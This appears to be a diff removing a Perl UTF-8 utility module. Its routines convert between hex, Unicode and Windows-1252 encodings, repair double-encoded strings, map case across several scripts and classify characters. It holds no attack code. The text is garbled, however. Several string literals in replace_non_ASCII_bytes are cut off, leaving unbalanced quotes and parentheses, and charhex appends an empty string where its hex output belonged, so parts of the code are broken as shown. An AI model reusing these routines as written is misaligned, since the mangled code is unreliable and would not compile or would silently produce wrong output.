$undef_return_value unless $len; - $result += $len; - } - return $result; -} - -sub replace_non_ASCII_bytes { - local($caller,$string,$replacement) = @_; - - $replacement = "HEX" unless defined($replacement); - if ($replacement =~ /^(Unicode|U\+4|\\u|HEX)$/) { - $new_string = ""; - while (($pre,$utf8_char, $post) = ($string =~ /^([\x09\x0A\x20-\x7E]*)([\x00-\x08\x0B-\x1F\x7F]|[\xC0-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF][\x80-\xBF]|[\xF0-\xF7][\x80-\xBF][\x80-\xBF][\x80-\xBF]|[\xF8-\xFF][\x80-\xBF]+|[\x80-\xBF])(.*)$/s)) { - if ($replacement =~ /Unicode/) { - $new_string .= $pre . "utf8_to_unicode($utf8_char)) . ">"; - } elsif ($replacement =~ /\\u/) { - $new_string .= $pre . "\\u" . (uc sprintf("%04x", $caller->utf8_to_unicode($utf8_char))); - } elsif ($replacement =~ /U\+4/) { - $new_string .= $pre . "utf8_to_4hex_unicode($utf8_char)) . ">"; - } else { - $new_string .= $pre . "utf8_to_hex($utf8_char) . ">"; - } - $string = $post; - } - $new_string .= $string; - } else { - $new_string = $string; - $new_string =~ s/[\x80-\xFF]/$replacement/g; - } - return $new_string; -} - -sub valid_utf8_string_p { - local($caller,$string) = @_; - - return $string =~ /^(?:[\x09\x0A\x20-\x7E]|[\xC0-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF][\x80-\xBF]|[\xF0-\xF7][\x80-\xBF][\x80-\xBF][\x80-\xBF])*$/; -} - -sub valid_utf8_string_incl_ascii_control_p { - local($caller,$string) = @_; - - return $string =~ /^(?:[\x00-\x7F]|[\xC0-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF][\x80-\xBF]|[\xF0-\xF7][\x80-\xBF][\x80-\xBF][\x80-\xBF])*$/; -} - -sub utf8_to_hex { - local($caller,$s) = @_; - - $hex = ""; - foreach $i ((0 .. length($s)-1)) { - $hex .= uc sprintf("%2.2x",ord(substr($s, $i, 1))); - } - return $hex; -} - -sub hex_to_utf8 { - local($caller,$s) = @_; - # surface string \xE2\x80\xBA to UTF8 - - my $utf8 = ""; - while (($hex, $rest) = ($s =~ /^(?:\\x)?([0-9A-Fa-f]{2,2})(.*)$/)) { - $utf8 .= sprintf("%c", hex($hex)); - $s = $rest; - } - return $utf8; -} - -sub utf8_to_4hex_unicode { - local($caller,$s) = @_; - - return sprintf("%4.4x", $caller->utf8_to_unicode($s)); -} - -sub utf8_to_unicode { - local($caller,$s) = @_; - - $unicode = 0; - foreach $i ((0 .. length($s)-1)) { - $c = substr($s, $i, 1); - if ($c =~ /^[\x80-\xBF]$/) { - $unicode = $unicode * 64 + (ord($c) & 0x3F); - } elsif ($c =~ /^[\xC0-\xDF]$/) { - $unicode = $unicode * 32 + (ord($c) & 0x1F); - } elsif ($c =~ /^[\xE0-\xEF]$/) { - $unicode = $unicode * 16 + (ord($c) & 0x0F); - } elsif ($c =~ /^[\xF0-\xF7]$/) { - $unicode = $unicode * 8 + (ord($c) & 0x07); - } elsif ($c =~ /^[\xF8-\xFB]$/) { - $unicode = $unicode * 4 + (ord($c) & 0x03); - } elsif ($c =~ /^[\xFC-\xFD]$/) { - $unicode = $unicode * 2 + (ord($c) & 0x01); - } - } - return $unicode; -} - -sub charhex { - local($caller,$string) = @_; - - my $result = ""; - while ($string ne "") { - $char = substr($string, 0, 1); - $string = substr($string, 1); - if ($char =~ /^[ -~]$/) { - $result .= $char; - } else { - $hex = sprintf("%2.2x",ord($char)); - $hex =~ tr/a-f/A-F/; - $result .= ""; - } - } - return $result; -} - -sub windows1252_to_utf8 { - local($caller,$s, $norm_to_ascii_p, $preserve_potential_utf8s_p) = @_; - - return $s if $s =~ /^[\x00-\x7F]*$/; # all ASCII - - $norm_to_ascii_p = 1 unless defined($norm_to_ascii_p); - $preserve_potential_utf8s_p = 1 unless defined($preserve_potential_utf8s_p); - my $result = ""; - my $c = ""; - while ($s ne "") { - $n_bytes = 1; - if ($s =~ /^[\x00-\x7F]/) { - $result .= substr($s, 0, 1); # ASCII - } elsif ($preserve_potential_utf8s_p && ($s =~ /^[\xC0-\xDF][\x80-\xBF]/)) { - $result .= substr($s, 0, 2); # valid 2-byte UTF8 - $n_bytes = 2; - } elsif ($preserve_potential_utf8s_p && ($s =~ /^[\xE0-\xEF][\x80-\xBF][\x80-\xBF]/)) { - $result .= substr($s, 0, 3); # valid 3-byte UTF8 - $n_bytes = 3; - } elsif ($preserve_potential_utf8s_p && ($s =~ /^[\xF0-\xF7][\x80-\xBF][\x80-\xBF][\x80-\xBF]/)) { - $result .= substr($s, 0, 4); # valid 4-byte UTF8 - $n_bytes = 4; - } elsif ($preserve_potential_utf8s_p && ($s =~ /^[\xF8-\xFB][\x80-\xBF][\x80-\xBF][\x80-\xBF][\x80-\xBF]/)) { - $result .= substr($s, 0, 5); # valid 5-byte UTF8 - $n_bytes = 5; - } elsif ($s =~ /^[\xA0-\xBF]/) { - $c = substr($s, 0, 1); - $result .= "\xC2$c"; - } elsif ($s =~ /^[\xC0-\xFF]/) { - $c = substr($s, 0, 1); - $c =~ tr/[\xC0-\xFF]/[\x80-\xBF]/; - $result .= "\xC3$c"; - } elsif ($s =~ /^\x80/) { - $result .= "\xE2\x82\xAC"; # Euro sign - } elsif ($s =~ /^\x82/) { - $result .= "\xE2\x80\x9A"; # single low quotation mark - } elsif ($s =~ /^\x83/) { - $result .= "\xC6\x92"; # Latin small letter f with hook - } elsif ($s =~ /^\x84/) { - $result .= "\xE2\x80\x9E"; # double low quotation mark - } elsif ($s =~ /^\x85/) { - $result .= ($norm_to_ascii_p) ? "..." : "\xE2\x80\xA6"; # horizontal ellipsis (three dots) - } elsif ($s =~ /^\x86/) { - $result .= "\xE2\x80\xA0"; # dagger - } elsif ($s =~ /^\x87/) { - $result .= "\xE2\x80\xA1"; # double dagger - } elsif ($s =~ /^\x88/) { - $result .= "\xCB\x86"; # circumflex - } elsif ($s =~ /^\x89/) { - $result .= "\xE2\x80\xB0"; # per mille sign - } elsif ($s =~ /^\x8A/) { - $result .= "\xC5\xA0"; # Latin capital letter S with caron - } elsif ($s =~ /^\x8B/) { - $result .= "\xE2\x80\xB9"; # single left-pointing angle quotation mark - } elsif ($s =~ /^\x8C/) { - $result .= "\xC5\x92"; # OE ligature - } elsif ($s =~ /^\x8E/) { - $result .= "\xC5\xBD"; # Latin capital letter Z with caron - } elsif ($s =~ /^\x91/) { - $result .= ($norm_to_ascii_p) ? "`" : "\xE2\x80\x98"; # left single quotation mark - } elsif ($s =~ /^\x92/) { - $result .= ($norm_to_ascii_p) ? "'" : "\xE2\x80\x99"; # right single quotation mark - } elsif ($s =~ /^\x93/) { - $result .= "\xE2\x80\x9C"; # left double quotation mark - } elsif ($s =~ /^\x94/) { - $result .= "\xE2\x80\x9D"; # right double quotation mark - } elsif ($s =~ /^\x95/) { - $result .= "\xE2\x80\xA2"; # bullet - } elsif ($s =~ /^\x96/) { - $result .= ($norm_to_ascii_p) ? "-" : "\xE2\x80\x93"; # n dash - } elsif ($s =~ /^\x97/) { - $result .= ($norm_to_ascii_p) ? "-" : "\xE2\x80\x94"; # m dash - } elsif ($s =~ /^\x98/) { - $result .= ($norm_to_ascii_p) ? "~" : "\xCB\x9C"; # small tilde - } elsif ($s =~ /^\x99/) { - $result .= "\xE2\x84\xA2"; # trade mark sign - } elsif ($s =~ /^\x9A/) { - $result .= "\xC5\xA1"; # Latin small letter s with caron - } elsif ($s =~ /^\x9B/) { - $result .= "\xE2\x80\xBA"; # single right-pointing angle quotation mark - } elsif ($s =~ /^\x9C/) { - $result .= "\xC5\x93"; # oe ligature - } elsif ($s =~ /^\x9E/) { - $result .= "\xC5\xBE"; # Latin small letter z with caron - } elsif ($s =~ /^\x9F/) { - $result .= "\xC5\xB8"; # Latin capital letter Y with diaeresis - } else { - $result .= "?"; - } - $s = substr($s, $n_bytes); - } - return $result; -} - -sub delete_weird_stuff { - local($caller, $s) = @_; - - # delete control chacters (except tab and linefeed), zero-width characters, byte order mark, - # directional marks, join marks, variation selectors, Arabic tatweel - $s =~ s/([\x00-\x08\x0B-\x1F\x7F]|\xC2[\x80-\x9F]|\xD9\x80|\xE2\x80[\x8B-\x8F]|\xEF\xB8[\x80-\x8F]|\xEF\xBB\xBF|\xF3\xA0[\x84-\x87][\x80-\xBF])//g; - return $s; -} - -sub number_of_utf8_character { - local($caller, $s) = @_; - - $s2 = $s; - $s2 =~ s/[\x80-\xBF]//g; - return length($s2); -} - -sub cap_letter_reg_exp { - # includes A-Z and other Latin-based capital letters with accents, umlauts and other decorations etc. - return "[A-Z]|\xC3[\x80-\x96\x98-\x9E]|\xC4[\x80\x82\x84\x86\x88\x8A\x8C\x8E\x90\x94\x964\x98\x9A\x9C\x9E\xA0\xA2\xA4\xA6\xA8\xAA\xAC\xAE\xB0\xB2\xB4\xB6\xB9\xBB\xBD\xBF]|\xC5[\x81\x83\x85\x87\x8A\x8C\x8E\x90\x92\x96\x98\x9A\x9C\x9E\xA0\xA2\xA4\xA6\xA8\xAA\xAC\xB0\xB2\xB4\xB6\xB8\xB9\xBB\xBD]"; -} - -sub regex_extended_case_expansion { - local($caller, $s) = @_; - - if ($s =~ /\xC3/) { - $s =~ s/\xC3\xA0/\xC3\[\x80\xA0\]/g; - $s =~ s/\xC3\xA1/\xC3\[\x81\xA1\]/g; - $s =~ s/\xC3\xA2/\xC3\[\x82\xA2\]/g; - $s =~ s/\xC3\xA3/\xC3\[\x83\xA3\]/g; - $s =~ s/\xC3\xA4/\xC3\[\x84\xA4\]/g; - $s =~ s/\xC3\xA5/\xC3\[\x85\xA5\]/g; - $s =~ s/\xC3\xA6/\xC3\[\x86\xA6\]/g; - $s =~ s/\xC3\xA7/\xC3\[\x87\xA7\]/g; - $s =~ s/\xC3\xA8/\xC3\[\x88\xA8\]/g; - $s =~ s/\xC3\xA9/\xC3\[\x89\xA9\]/g; - $s =~ s/\xC3\xAA/\xC3\[\x8A\xAA\]/g; - $s =~ s/\xC3\xAB/\xC3\[\x8B\xAB\]/g; - $s =~ s/\xC3\xAC/\xC3\[\x8C\xAC\]/g; - $s =~ s/\xC3\xAD/\xC3\[\x8D\xAD\]/g; - $s =~ s/\xC3\xAE/\xC3\[\x8E\xAE\]/g; - $s =~ s/\xC3\xAF/\xC3\[\x8F\xAF\]/g; - $s =~ s/\xC3\xB0/\xC3\[\x90\xB0\]/g; - $s =~ s/\xC3\xB1/\xC3\[\x91\xB1\]/g; - $s =~ s/\xC3\xB2/\xC3\[\x92\xB2\]/g; - $s =~ s/\xC3\xB3/\xC3\[\x93\xB3\]/g; - $s =~ s/\xC3\xB4/\xC3\[\x94\xB4\]/g; - $s =~ s/\xC3\xB5/\xC3\[\x95\xB5\]/g; - $s =~ s/\xC3\xB6/\xC3\[\x96\xB6\]/g; - $s =~ s/\xC3\xB8/\xC3\[\x98\xB8\]/g; - $s =~ s/\xC3\xB9/\xC3\[\x99\xB9\]/g; - $s =~ s/\xC3\xBA/\xC3\[\x9A\xBA\]/g; - $s =~ s/\xC3\xBB/\xC3\[\x9B\xBB\]/g; - $s =~ s/\xC3\xBC/\xC3\[\x9C\xBC\]/g; - $s =~ s/\xC3\xBD/\xC3\[\x9D\xBD\]/g; - $s =~ s/\xC3\xBE/\xC3\[\x9E\xBE\]/g; - } - if ($s =~ /\xC5/) { - $s =~ s/\xC5\x91/\xC5\[\x90\x91\]/g; - $s =~ s/\xC5\xA1/\xC5\[\xA0\xA1\]/g; - $s =~ s/\xC5\xB1/\xC5\[\xB0\xB1\]/g; - } - - return $s; -} - -sub extended_lower_case { - local($caller, $s) = @_; - - $s =~ tr/A-Z/a-z/; - - # Latin-1 - if ($s =~ /\xC3[\x80-\x9F]/) { - $s =~ s/À/à/g; - $s =~ s/Á/á/g; - $s =~ s/Â/â/g; - $s =~ s/Ã/ã/g; - $s =~ s/Ä/ä/g; - $s =~ s/Å/å/g; - $s =~ s/Æ/æ/g; - $s =~ s/Ç/ç/g; - $s =~ s/È/è/g; - $s =~ s/É/é/g; - $s =~ s/Ê/ê/g; - $s =~ s/Ë/ë/g; - $s =~ s/Ì/ì/g; - $s =~ s/Í/í/g; - $s =~ s/Î/î/g; - $s =~ s/Ï/ï/g; - $s =~ s/Ð/ð/g; - $s =~ s/Ñ/ñ/g; - $s =~ s/Ò/ò/g; - $s =~ s/Ó/ó/g; - $s =~ s/Ô/ô/g; - $s =~ s/Õ/õ/g; - $s =~ s/Ö/ö/g; - $s =~ s/Ø/ø/g; - $s =~ s/Ù/ù/g; - $s =~ s/Ú/ú/g; - $s =~ s/Û/û/g; - $s =~ s/Ü/ü/g; - $s =~ s/Ý/ý/g; - $s =~ s/Þ/þ/g; - } - # Latin Extended-A - if ($s =~ /[\xC4-\xC5][\x80-\xBF]/) { - $s =~ s/Ā/ā/g; - $s =~ s/Ă/ă/g; - $s =~ s/Ą/ą/g; - $s =~ s/Ć/ć/g; - $s =~ s/Ĉ/ĉ/g; - $s =~ s/Ċ/ċ/g; - $s =~ s/Č/č/g; - $s =~ s/Ď/ď/g; - $s =~ s/Đ/đ/g; - $s =~ s/Ē/ē/g; - $s =~ s/Ĕ/ĕ/g; - $s =~ s/Ė/ė/g; - $s =~ s/Ę/ę/g; - $s =~ s/Ě/ě/g; - $s =~ s/Ĝ/ĝ/g; - $s =~ s/Ğ/ğ/g; - $s =~ s/Ġ/ġ/g; - $s =~ s/Ģ/ģ/g; - $s =~ s/Ĥ/ĥ/g; - $s =~ s/Ħ/ħ/g; - $s =~ s/Ĩ/ĩ/g; - $s =~ s/Ī/ī/g; - $s =~ s/Ĭ/ĭ/g; - $s =~ s/Į/į/g; - $s =~ s/İ/ı/g; - $s =~ s/IJ/ij/g; - $s =~ s/Ĵ/ĵ/g; - $s =~ s/Ķ/ķ/g; - $s =~ s/Ĺ/ĺ/g; - $s =~ s/Ļ/ļ/g; - $s =~ s/Ľ/ľ/g; - $s =~ s/Ŀ/ŀ/g; - $s =~ s/Ł/ł/g; - $s =~ s/Ń/ń/g; - $s =~ s/Ņ/ņ/g; - $s =~ s/Ň/ň/g; - $s =~ s/Ŋ/ŋ/g; - $s =~ s/Ō/ō/g; - $s =~ s/Ŏ/ŏ/g; - $s =~ s/Ő/ő/g; - $s =~ s/Œ/œ/g; - $s =~ s/Ŕ/ŕ/g; - $s =~ s/Ŗ/ŗ/g; - $s =~ s/Ř/ř/g; - $s =~ s/Ś/ś/g; - $s =~ s/Ŝ/ŝ/g; - $s =~ s/Ş/ş/g; - $s =~ s/Š/š/g; - $s =~ s/Ţ/ţ/g; - $s =~ s/Ť/ť/g; - $s =~ s/Ŧ/ŧ/g; - $s =~ s/Ũ/ũ/g; - $s =~ s/Ū/ū/g; - $s =~ s/Ŭ/ŭ/g; - $s =~ s/Ů/ů/g; - $s =~ s/Ű/ű/g; - $s =~ s/Ų/ų/g; - $s =~ s/Ŵ/ŵ/g; - $s =~ s/Ŷ/ŷ/g; - $s =~ s/Ź/ź/g; - $s =~ s/Ż/ż/g; - $s =~ s/Ž/ž/g; - } - # Greek letters - if ($s =~ /\xCE[\x86-\xAB]/) { - $s =~ s/Α/α/g; - $s =~ s/Β/β/g; - $s =~ s/Γ/γ/g; - $s =~ s/Δ/δ/g; - $s =~ s/Ε/ε/g; - $s =~ s/Ζ/ζ/g; - $s =~ s/Η/η/g; - $s =~ s/Θ/θ/g; - $s =~ s/Ι/ι/g; - $s =~ s/Κ/κ/g; - $s =~ s/Λ/λ/g; - $s =~ s/Μ/μ/g; - $s =~ s/Ν/ν/g; - $s =~ s/Ξ/ξ/g; - $s =~ s/Ο/ο/g; - $s =~ s/Π/π/g; - $s =~ s/Ρ/ρ/g; - $s =~ s/Σ/σ/g; - $s =~ s/Τ/τ/g; - $s =~ s/Υ/υ/g; - $s =~ s/Φ/φ/g; - $s =~ s/Χ/χ/g; - $s =~ s/Ψ/ψ/g; - $s =~ s/Ω/ω/g; - $s =~ s/Ϊ/ϊ/g; - $s =~ s/Ϋ/ϋ/g; - $s =~ s/Ά/ά/g; - $s =~ s/Έ/έ/g; - $s =~ s/Ή/ή/g; - $s =~ s/Ί/ί/g; - $s =~ s/Ό/ό/g; - $s =~ s/Ύ/ύ/g; - $s =~ s/Ώ/ώ/g; - } - # Cyrillic letters - if ($s =~ /\xD0[\x80-\xAF]/) { - $s =~ s/А/а/g; - $s =~ s/Б/б/g; - $s =~ s/В/в/g; - $s =~ s/Г/г/g; - $s =~ s/Д/д/g; - $s =~ s/Е/е/g; - $s =~ s/Ж/ж/g; - $s =~ s/З/з/g; - $s =~ s/И/и/g; - $s =~ s/Й/й/g; - $s =~ s/К/к/g; - $s =~ s/Л/л/g; - $s =~ s/М/м/g; - $s =~ s/Н/н/g; - $s =~ s/О/о/g; - $s =~ s/П/п/g; - $s =~ s/Р/р/g; - $s =~ s/С/с/g; - $s =~ s/Т/т/g; - $s =~ s/У/у/g; - $s =~ s/Ф/ф/g; - $s =~ s/Х/х/g; - $s =~ s/Ц/ц/g; - $s =~ s/Ч/ч/g; - $s =~ s/Ш/ш/g; - $s =~ s/Щ/щ/g; - $s =~ s/Ъ/ъ/g; - $s =~ s/Ы/ы/g; - $s =~ s/Ь/ь/g; - $s =~ s/Э/э/g; - $s =~ s/Ю/ю/g; - $s =~ s/Я/я/g; - $s =~ s/Ѐ/ѐ/g; - $s =~ s/Ё/ё/g; - $s =~ s/Ђ/ђ/g; - $s =~ s/Ѓ/ѓ/g; - $s =~ s/Є/є/g; - $s =~ s/Ѕ/ѕ/g; - $s =~ s/І/і/g; - $s =~ s/Ї/ї/g; - $s =~ s/Ј/ј/g; - $s =~ s/Љ/љ/g; - $s =~ s/Њ/њ/g; - $s =~ s/Ћ/ћ/g; - $s =~ s/Ќ/ќ/g; - $s =~ s/Ѝ/ѝ/g; - $s =~ s/Ў/ў/g; - $s =~ s/Џ/џ/g; - } - # Fullwidth A-Z - if ($s =~ /\xEF\xBC[\xA1-\xBA]/) { - $s =~ s/Ａ/ａ/g; - $s =~ s/Ｂ/ｂ/g; - $s =~ s/Ｃ/ｃ/g; - $s =~ s/Ｄ/ｄ/g; - $s =~ s/Ｅ/ｅ/g; - $s =~ s/Ｆ/ｆ/g; - $s =~ s/Ｇ/ｇ/g; - $s =~ s/Ｈ/ｈ/g; - $s =~ s/Ｉ/ｉ/g; - $s =~ s/Ｊ/ｊ/g; - $s =~ s/Ｋ/ｋ/g; - $s =~ s/Ｌ/ｌ/g; - $s =~ s/Ｍ/ｍ/g; - $s =~ s/Ｎ/ｎ/g; - $s =~ s/Ｏ/ｏ/g; - $s =~ s/Ｐ/ｐ/g; - $s =~ s/Ｑ/ｑ/g; - $s =~ s/Ｒ/ｒ/g; - $s =~ s/Ｓ/ｓ/g; - $s =~ s/Ｔ/ｔ/g; - $s =~ s/Ｕ/ｕ/g; - $s =~ s/Ｖ/ｖ/g; - $s =~ s/Ｗ/ｗ/g; - $s =~ s/Ｘ/ｘ/g; - $s =~ s/Ｙ/ｙ/g; - $s =~ s/Ｚ/ｚ/g; - } - - return $s; -} - -sub extended_upper_case { - local($caller, $s) = @_; - - $s =~ tr/a-z/A-Z/; - return $s unless $s =~ /[\xC3-\xC5][\x80-\xBF]/; - - $s =~ s/\xC3\xA0/\xC3\x80/g; - $s =~ s/\xC3\xA1/\xC3\x81/g; - $s =~ s/\xC3\xA2/\xC3\x82/g; - $s =~ s/\xC3\xA3/\xC3\x83/g; - $s =~ s/\xC3\xA4/\xC3\x84/g; - $s =~ s/\xC3\xA5/\xC3\x85/g; - $s =~ s/\xC3\xA6/\xC3\x86/g; - $s =~ s/\xC3\xA7/\xC3\x87/g; - $s =~ s/\xC3\xA8/\xC3\x88/g; - $s =~ s/\xC3\xA9/\xC3\x89/g; - $s =~ s/\xC3\xAA/\xC3\x8A/g; - $s =~ s/\xC3\xAB/\xC3\x8B/g; - $s =~ s/\xC3\xAC/\xC3\x8C/g; - $s =~ s/\xC3\xAD/\xC3\x8D/g; - $s =~ s/\xC3\xAE/\xC3\x8E/g; - $s =~ s/\xC3\xAF/\xC3\x8F/g; - $s =~ s/\xC3\xB0/\xC3\x90/g; - $s =~ s/\xC3\xB1/\xC3\x91/g; - $s =~ s/\xC3\xB2/\xC3\x92/g; - $s =~ s/\xC3\xB3/\xC3\x93/g; - $s =~ s/\xC3\xB4/\xC3\x94/g; - $s =~ s/\xC3\xB5/\xC3\x95/g; - $s =~ s/\xC3\xB6/\xC3\x96/g; - $s =~ s/\xC3\xB8/\xC3\x98/g; - $s =~ s/\xC3\xB9/\xC3\x99/g; - $s =~ s/\xC3\xBA/\xC3\x9A/g; - $s =~ s/\xC3\xBB/\xC3\x9B/g; - $s =~ s/\xC3\xBC/\xC3\x9C/g; - $s =~ s/\xC3\xBD/\xC3\x9D/g; - $s =~ s/\xC3\xBE/\xC3\x9E/g; - - $s =~ s/\xC5\x91/\xC5\x90/g; - $s =~ s/\xC5\xA1/\xC5\xA0/g; - $s =~ s/\xC5\xB1/\xC5\xB0/g; - return $s unless $s =~ /[\xC3-\xC5][\x80-\xBF]/; - - return $s; -} - -sub extended_first_upper_case { - local($caller, $s) = @_; - - if (($first_char, $rest) = ($s =~ /^([\x00-\x7F]|[\xC0-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF][\x80-\xBF])(.*)$/)) { - return $caller->extended_upper_case($first_char) . $rest; - } else { - return $s; - } -} - -sub repair_doubly_converted_utf8_strings { - local($caller, $s) = @_; - - if ($s =~ /\xC3[\x82-\x85]\xC2[\x80-\xBF]/) { - $s =~ s/\xC3\x82\xC2([\x80-\xBF])/\xC2$1/g; - $s =~ s/\xC3\x83\xC2([\x80-\xBF])/\xC3$1/g; - $s =~ s/\xC3\x84\xC2([\x80-\xBF])/\xC4$1/g; - $s =~ s/\xC3\x85\xC2([\x80-\xBF])/\xC5$1/g; - } - return $s; -} - -sub repair_misconverted_windows_to_utf8_strings { - local($caller, $s) = @_; - - # correcting conversions of UTF8 using Latin1-to-UTF converter - if ($s =~ /\xC3\xA2\xC2\x80\xC2[\x90-\xEF]/) { - my $result = ""; - while (($pre,$last_c,$post) = ($s =~ /^(.*?)\xC3\xA2\xC2\x80\xC2([\x90-\xEF])(.*)$/s)) { - $result .= "$pre\xE2\x80$last_c"; - $s = $post; - } - $result .= $s; - $s = $result; - } - # correcting conversions of Windows1252-to-UTF8 using Latin1-to-UTF converter - if ($s =~ /\xC2[\x80-\x9F]/) { - my $result = ""; - while (($pre,$c_windows,$post) = ($s =~ /^(.*?)\xC2([\x80-\x9F])(.*)$/s)) { - $c_utf8 = $caller->windows1252_to_utf8($c_windows, 0); - $result .= ($c_utf8 eq "?") ? ($pre . "\xC2" . $c_windows) : "$pre$c_utf8"; - $s = $post; - } - $result .= $s; - $s = $result; - } - if ($s =~ /\xC3/) { - $s =~ s/\xC3\xA2\xE2\x80\x9A\xC2\xAC/\xE2\x82\xAC/g; # x80 -> Euro sign - # x81 codepoint undefined in Windows 1252 - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC5\xA1/\xE2\x80\x9A/g; # x82 -> single low-9 quotation mark - $s =~ s/\xC3\x86\xE2\x80\x99/\xC6\x92/g; # x83 -> Latin small letter f with hook - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC5\xBE/\xE2\x80\x9E/g; # x84 -> double low-9 quotation mark - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC2\xA6/\xE2\x80\xA6/g; # x85 -> horizontal ellipsis - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC2\xA0/\xE2\x80\xA0/g; # x86 -> dagger - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC2\xA1/\xE2\x80\xA1/g; # x87 -> double dagger - $s =~ s/\xC3\x8B\xE2\x80\xA0/\xCB\x86/g; # x88 -> modifier letter circumflex accent - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC2\xB0/\xE2\x80\xB0/g; # x89 -> per mille sign - $s =~ s/\xC3\x85\xC2\xA0/\xC5\xA0/g; # x8A -> Latin capital letter S with caron - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC2\xB9/\xE2\x80\xB9/g; # x8B -> single left-pointing angle quotation mark - $s =~ s/\xC3\x85\xE2\x80\x99/\xC5\x92/g; # x8C -> Latin capital ligature OE - # x8D codepoint undefined in Windows 1252 - $s =~ s/\xC3\x85\xC2\xBD/\xC5\xBD/g; # x8E -> Latin capital letter Z with caron - # x8F codepoint undefined in Windows 1252 - # x90 codepoint undefined in Windows 1252 - $s =~ s/\xC3\xA2\xE2\x82\xAC\xCB\x9C/\xE2\x80\x98/g; # x91 a-circumflex+euro+small tilde -> left single quotation mark - $s =~ s/\xC3\xA2\xE2\x82\xAC\xE2\x84\xA2/\xE2\x80\x99/g; # x92 a-circumflex+euro+trademark -> right single quotation mark - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC5\x93/\xE2\x80\x9C/g; # x93 a-circumflex+euro+Latin small ligature oe -> left double quotation mark - # x94 maps through undefined intermediate code point - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC2\xA2/\xE2\x80\xA2/g; # x95 a-circumflex+euro+cent sign -> bullet - $s =~ s/\xC3\xA2\xE2\x82\xAC\xE2\x80\x9C/\xE2\x80\x93/g; # x96 a-circumflex+euro+left double quotation mark -> en dash - $s =~ s/\xC3\xA2\xE2\x82\xAC\xE2\x80\x9D/\xE2\x80\x94/g; # x97 a-circumflex+euro+right double quotation mark -> em dash - $s =~ s/\xC3\x8B\xC5\x93/\xCB\x9C/g; # x98 Latin capital e diaeresis+Latin small ligature oe -> small tilde - $s =~ s/\xC3\xA2\xE2\x80\x9E\xC2\xA2/\xE2\x84\xA2/g; # x99 -> trade mark sign - $s =~ s/\xC3\x85\xC2\xA1/\xC5\xA1/g; # x9A -> Latin small letter s with caron - $s =~ s/\xC3\xA2\xE2\x82\xAC\xC2\xBA/\xE2\x80\xBA/g; # x9B -> single right-pointing angle quotation mark - $s =~ s/\xC3\x85\xE2\x80\x9C/\xC5\x93/g; # x9C -> Latin small ligature oe - # x9D codepoint undefined in Windows 1252 - $s =~ s/\xC3\x85\xC2\xBE/\xC5\xBE/g; # x9E -> Latin small letter z with caron - $s =~ s/\xC3\x85\xC2\xB8/\xC5\xB8/g; # x9F -> Latin capital letter Y with diaeresis - $s =~ s/\xC3\xAF\xC2\xBF\xC2\xBD/\xEF\xBF\xBD/g; # replacement character - } - - return $s; -} - -sub latin1_to_utf { - local($caller, $s) = @_; - - my $result = ""; - while (($pre,$c,$post) = ($s =~ /^(.*?)([\x80-\xFF])(.*)$/s)) { - $result .= $pre; - if ($c =~ /^[\x80-\xBF]$/) { - $result .= "\xC2$c"; - } elsif ($c =~ /^[\xC0-\xFF]$/) { - $c =~ tr/[\xC0-\xFF]/[\x80-\xBF]/; - $result .= "\xC3$c"; - } - $s = $post; - } - $result .= $s; - return $result; -} - -sub character_type_is_letter_type { - local($caller, $char_type) = @_; - - return ($char_type =~ /\b((CJK|hiragana|kana|katakana)\s+character|diacritic|letter|syllable)\b/); -} - -sub character_type { - local($caller, $c) = @_; - - if ($c =~ /^[\x00-\x7F]/) { - return "XML tag" if $c =~ /^<.*>$/; - return "ASCII Latin letter" if $c =~ /^[a-z]$/i; - return "ASCII digit" if $c =~ /^[0-9]$/i; - return "ASCII whitespace" if $c =~ /^[\x09-\x0D\x20]$/; - return "ASCII control-character" if $c =~ /^[\x00-\x1F\x7F]$/; - return "ASCII currency" if $c eq "\$"; - return "ASCII punctuation"; - } elsif ($c =~ /^[\xC0-\xDF]/) { - return "non-UTF8 (invalid)" unless $c =~ /^[\xC0-\xDF][\x80-\xBF]$/; - return "non-shortest-UTF8 (invalid)" if $c =~ /[\xC0-\xC1]/; - return "non-ASCII control-character" if $c =~ /\xC2[\x80-\x9F]/; - return "non-ASCII whitespace" if $c =~ /\xC2\xA0/; - return "non-ASCII currency" if $c =~ /\xC2[\xA2-\xA5]/; - return "fraction" if $c =~ /\xC2[\xBC-\xBE]/; # NEW - return "superscript digit" if $c =~ /\xC2[\xB2\xB3\xB9]/; - return "non-ASCII Latin letter" if $c =~ /\xC2\xB5/; # micro sign - return "non-ASCII punctuation" if $c =~ /\xC2[\xA0-\xBF]/; - return "non-ASCII punctuation" if $c =~ /\xC3[\x97\xB7]/; - return "non-ASCII Latin letter" if $c =~ /\xC3[\x80-\xBF]/; - return "Latin ligature letter" if $c =~ /\xC4[\xB2\xB3]/; - return "Latin ligature letter" if $c =~ /\xC5[\x92\x93]/; - return "non-ASCII Latin letter" if $c =~ /[\xC4-\xC8]/; - return "non-ASCII Latin letter" if $c =~ /\xC9[\x80-\x8F]/; - return "IPA" if $c =~ /\xC9[\x90-\xBF]/; - return "IPA" if $c =~ /\xCA[\x80-\xBF]/; - return "IPA" if $c =~ /\xCB[\x80-\xBF]/; - return "combining-diacritic" if $c =~ /\xCC[\x80-\xBF]/; - return "combining-diacritic" if $c =~ /\xCD[\x80-\xAF]/; - return "Greek punctuation" if $c =~ /\xCD[\xBE]/; # Greek question mark - return "Greek punctuation" if $c =~ /\xCE[\x87]/; # Greek semicolon - return "Greek letter" if $c =~ /\xCD[\xB0-\xBF]/; - return "Greek letter" if $c =~ /\xCE/; - return "Greek letter" if $c =~ /\xCF[\x80-\xA1\xB3\xB7\xB8\xBA\xBB]/; - return "Coptic letter" if $c =~ /\xCF[\xA2-\xAF]/; - return "Cyrillic letter" if $c =~ /[\xD0-\xD3]/; - return "Cyrillic letter" if $c =~ /\xD4[\x80-\xAF]/; - return "Armenian punctuation" if $c =~ /\xD5[\x9A-\x9F]/; - return "Armenian punctuation" if $c =~ 